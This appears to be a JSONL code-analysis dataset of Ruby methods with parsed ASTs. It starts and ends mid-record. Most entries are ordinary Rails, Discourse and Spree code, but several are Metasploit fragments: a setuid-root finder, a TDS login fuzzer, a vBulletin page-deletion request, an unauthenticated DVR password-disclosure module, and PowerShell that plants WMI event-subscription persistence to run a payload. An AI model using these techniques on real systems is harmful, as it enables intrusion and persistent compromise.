.mobileprovision\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_IDENTITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Identity to be used along with --embed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"sdk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_SDK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use SDK as the name or path of the base SDK when building the project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"ipa\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_IPA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Specify the name of the .ipa file to generate (including file extension)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"xcconfig\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_XCCONFIG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use an extra XCCONFIG file to build the app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"xcargs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"IPA_XCARGS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Pass additional arguments to xcodebuild when building the app. Be sure to quote multiple args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"shell_string\"]}]}]}]}]}]}","id":"463af38d-1aac-416f-aaca-967bfc72315b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/sidekiq_helpers.rb","start_line":78,"raw_source":"def expect_job_enqueued(job:, args: {}, at: nil)\n    expect(job_enqueued?(job: job, args: args, at: at)).to eq(true)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_job_enqueued\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"job\"]},{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"at\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"job_enqueued?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"dd64fba1-7e82-47a1-85ad-9378c27326ff"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/range_ext_test.rb","start_line":167,"raw_source":"def test_include_with_beginless_range\n    assert((..2).include?(1))\n  end","complexity_score":2.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_with_beginless_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[null,{\"type\":\"int\",\"children\":[2]}]}]},\"include?\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"589f1435-d245-44f6-8f04-3a64ffcb7fa5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/admin/overview/users/show.rb","start_line":31,"raw_source":"def open_user_actions_dropdown(user)\n              click_element('user-actions-dropdown-toggle', username: user.username)\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_user_actions_dropdown\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"user-actions-dropdown-toggle\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]}]}]}","id":"fbc1aca1-02e4-410b-a950-681f23d70e10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/local/emacs_movemail.rb","start_line":90,"raw_source":"def setuid_root?(path)\n    cmd_exec(\"find #{path} -user root -perm -4000 -print\").include?(path)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setuid_root?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" -user root -perm -4000 -print\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"912956e0-7c8d-4aa6-8be5-cc64757fa5a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb","start_line":112,"raw_source":"def do_login(pkt, opts = {})\n    @connected = false\n    disconnect if sock\n    connect\n    @connected = true\n\n    resp = mssql_send_recv(pkt, opts[:timeout])\n\n    info = { errors: [] }\n    info = mssql_parse_reply(resp, info)\n    info\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},null]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"mssql_send_recv\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"mssql_parse_reply\",{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}","id":"b2fa4e42-fac1-4ab5-aac5-f4a4cbfc64c5"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/cart/set_quantity.rb","start_line":6,"raw_source":"def call(order:, line_item:, quantity: nil)\n        ActiveRecord::Base.transaction do\n          run :change_item_quantity\n          run Spree::Dependencies.cart_recalculate_service.constantize\n        end\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]},{\"type\":\"kwarg\",\"children\":[\"line_item\"]},{\"type\":\"kwoptarg\",\"children\":[\"quantity\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"change_item_quantity\"]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"cart_recalculate_service\"]},\"constantize\"]}]}]}]}]}","id":"47497f98-675d-4107-a66d-f7aefeaac8a1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":629,"raw_source":"def render_json_error(obj, opts = {})\n    opts = { status: opts } if opts.is_a?(Integer)\n    opts.fetch(:headers, {}).each { |name, value| headers[name.to_s] = value }\n\n    render(\n      json: MultiJson.dump(create_errors_json(obj, opts)),\n      status: opts[:status] || status_code(obj),\n    )\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_json_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultiJson\"]},\"dump\",{\"type\":\"send\",\"children\":[null,\"create_errors_json\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"status_code\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]}]}]}]}]}]}","id":"f5785a1e-d5d3-4229-9fc4-7539125dfdad"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":862,"raw_source":"def test_form_with_enables_remote_by_default\n    form_with(model: @post, url: \"/\", id: \"create-post\", method: :patch) do |f|\n      concat f.text_field(:title)\n      concat f.textarea(:body)\n      concat f.checkbox(:secret)\n    end\n\n    expected = whole_form(\"/\", \"create-post\", method: \"patch\") do\n      \"<input name='post[title]' type='text' value='Hello World' id='post_title' />\" \\\n      \"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_enables_remote_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' value='Hello World' id='post_title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"c948291c-dd6c-4758-87c1-1c60c7bffd7f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb","start_line":206,"raw_source":"def gen_datestamp(ttype = nil)\n    ::Time.now.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gen_datestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ttype\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%dT%H:%M:%SZ\"]}]}]}","id":"a232faa4-c46b-46da-beb6-6e3cb2b350bc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vbulletin_getindexablecontent.rb","start_line":313,"raw_source":"def delete_page(pageid, login_token, cookie_jar)\n    print_status(\"Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),\n      'cookie' => [cookie_jar],\n      'headers' => {\n        'X-Requested-With' => 'XMLHttpRequest'\n      },\n      'vars_post' => {\n        'pageid' => pageid.to_s,\n        'securitytoken' => login_token.to_s\n      }\n    })\n\n    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\n\n    print_good(\"Successfully deleted page with pageid: #{pageid}\")\n\n    true\n  end","complexity_score":25.85,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pageid\"]},{\"type\":\"arg\",\"children\":[\"login_token\"]},{\"type\":\"arg\",\"children\":[\"cookie_jar\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending delete page request to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/ajax/api/page/delete'.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ajax\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"delete\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_jar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pageid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"securitytoken\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_token\"]},\"to_s\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_resp\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully deleted page with pageid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pageid\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"5d6a9e4f-e77c-48f4-9737-48e00e643a35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'C2S DVR Management Password Disclosure',\n      'Description' => %q{\n        C2S DVR allows an unauthenticated user to disclose the username\n        & password by requesting the javascript page 'read.cgi?page=2'.\n        This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.\n      },\n      'References' => [['EDB', '40265']],\n      'Author' => [\n        'Yakir Wizman', # discovery\n        'h00die', # module\n      ],\n      'License' => MSF_LICENSE,\n      'DisclosureDate' => 'Aug 19 2016'\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [false, 'URL of the C2S DVR root', '/'])\n    ])\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"C2S DVR Management Password Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        C2S DVR allows an unauthenticated user to disclose the username\\n\"]},{\"type\":\"str\",\"children\":[\"        & password by requesting the javascript page 'read.cgi?page=2'.\\n\"]},{\"type\":\"str\",\"children\":[\"        This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"40265\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Yakir Wizman\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Aug 19 2016\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"URL of the C2S DVR root\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"e67a7ce8-7142-4c89-a4b2-d64fd6ca75d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/wmi_persistence.rb","start_line":151,"raw_source":"def subscription_interval\n    command = build_payload\n    class_name = datastore['CLASSNAME']\n    callback_interval = datastore['CALLBACK_INTERVAL']\n    <<-HEREDOC\n    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \\\"Trigger\\\"}\n    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \\\"#{class_name}\\\"; Query = \\\"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\\\"; QueryLanguage = 'WQL'}\n    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \\\"#{class_name}\\\"; CommandLineTemplate = \\\"#{command}\\\"}\n    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}\n    HEREDOC\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"subscription_interval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[null,\"build_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLASSNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"callback_interval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CALLBACK_INTERVAL\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_interval\"]}]},{\"type\":\"str\",\"children\":[\"); SkipIfPassed = $false; TimerID = \\\"Trigger\\\"}\\n\"]},{\"type\":\"str\",\"children\":[\"    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"; Query = \\\"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\\\"; QueryLanguage = 'WQL'}\\n\"]},{\"type\":\"str\",\"children\":[\"    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"; CommandLineTemplate = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"\\\"}\\n\"]},{\"type\":\"str\",\"children\":[\"    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = 